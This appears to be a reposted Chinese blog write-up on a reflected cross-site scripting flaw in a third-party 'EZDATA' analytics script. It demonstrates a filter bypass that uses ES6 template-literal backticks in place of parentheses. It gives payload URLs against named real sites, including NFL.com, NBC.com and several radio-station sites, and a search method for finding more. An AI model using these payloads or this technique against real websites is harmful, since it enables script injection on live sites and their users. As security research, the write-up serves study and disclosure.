XSS探究:不安全的EZDATA脚本
来源:互联网 发布:启动顺序 windows boot 编辑:程序博客网 时间:2024/06/05 06:42
在写这篇文章的时候,我并不清楚该脚本的作者是谁,但有很多的网站有这个漏洞。在这篇文章中,我将对"EZDATA"这个不安全的脚本进行分析。
我是在浏览Alexa top 500网站时发现的这个脚本。
有漏洞的JavaScript脚本如下:
<script> ezQuery(document).ready(function() { //get here EZDATA.trackGaEvent('Search','Request','可控点'); });</script>
接下来在真实的案例中看下这个脚本
(1)NFL.COM
该网站在Alexa全球网站排名中的排名为261。如果你在该网站的搜索框中输入无害的探测字符(比如xxxxxxxx'yyyyy</img),链接如下:
<a href="http://search.nfl.com/search?query=\" xxxxxxxx'yyyyy<=">http://search.nfl.com/search?query="xxxxxxxx'yyyyy</img
然后查看源码如下
你可以看到用户的输入被单引号(‘)所包裹,而对用户提交的单引号(‘)却没有过滤和编码,还有你也可以看到<被过滤了,所以类似 </script><script>confirm(1)</script>这样的攻击方式就失效了。那么我能想到的下一个payload就是
'-confirm(1)-'
链接如下:
http://search.nfl.com/search?query='-confirm(1)-'
我期待这个payload能够生效,然而并没有。原因如下图
从图中可以看到括号()被过滤了,所以才导致payload失效。
ECMAScript 6(http://tc39wiki.calculist.org/es6/)提供了一个叫multi-ine template string(https://developer.mozilla.org/enUS/docs/Web/JavaScript/Reference/template_strings)的属性,在这个属性的帮助下,可以构造不需要括号()的payload,用反引号“来替换括号(),所以payload变成:
'-confirm`1`-'
所以最终的链接如下:
http://search.nfl.com/search?query='-confirm`1`-'
结果如下
(2)NBC.COM
这个网站用的也是EZDATA这个脚本,所以链接如下:
http://www.nbc.com/search?q='-confirm`1`-'
结果如图
(3)其他网站
通过在NerdyData(https://search.nerdydata.com/code)这个网站进行搜索,链接如下:
https://search.nerdydata.com/code/?and_code[]=//get+here+EZDATA.trackGaEvent&limit=0,10&rank_min=1&rank_max=1000001
发现有61个网站使用该脚本,部分网站
http://search.pionline.com/search?q=%27-confirm%601%60-%27http://media.kisw.com/search?q=%27-confirm%601%60-%27http://media.wben.com/search?q=%27-confirm%601%60-%27http://media.wwl.com/search?q=%27-confirm%601%60-%27http://media.989therock.com/search?q=%27-confirm%601%60-%27http://media.endonline.com/search?q=%27-confirm%601%60-%27http://media.1057fmthefan.com/search?q=%27-confirm%601%60-%27http://media.espn929.com/search?q=%27-confirm%601%60-%27http://search.msgvarsity.com/search?search=y&q=%27-confirm%601%60-%27http://video.ramp.com/search?q=%27-confirm`1`-%27
尾记:目前这些应该都已经修复,这篇文章只是第一弹,该博客作者以分析+实例演示的方法为我们展示了XSS的很多可能出现形式,后续还会更精彩,敬请期待。
- XSS探究:不安全的EZDATA脚本
- XSS攻击脚本的构造
- XSS攻击常识及常见的XSS攻击脚本汇总
- XSS攻击常识及常见的XSS攻击脚本汇总
- XSS攻击常识及常见的XSS攻击脚本汇总
- 利用XSS窃取cookie的php脚本
- XSS防脚本注入的过滤器
- 跨SWF脚本调用的简单探究
- 不同脚本操作cookie的机制探究
- 网站 XSS 防范措施 脚本
- XSS 脚本 编写 手册
- 跨站脚本XSS
- 跨站脚本XSS
- XSS 攻击常用脚本
- XSS信息刺探脚本
- 跨站脚本XSS
- XSS 跨站式脚本攻击
- XSS攻击常用脚本
- Oracle 建立索引及SQL优化
- 年
- Session的使用和细节
- visual 2008启动exe时报错:プロシージャ エントリ ポイント ?_Xweak@tr1@std@@YAXXZ がダイナミック リンク ライブラリ MSVCP90D.dll から見つかりません
- 加密解密工具类 EncryptUtil
- XSS探究:不安全的EZDATA脚本
- 极分享发布于2015-11-05 16:54 1/440 45个非常有用的 Oracle 查询语句
- Machine Learning - Logistic Regression - Two-class Classification
- C#绑定快捷键
- iOS环信3.0集成 (二)UI文件集成
- setbuf、setvbuf
- java List深度克隆
- 手机开发中Systemui客户常改颜色部分
- _BSMachError: (os/kern) invalid capability (20)警告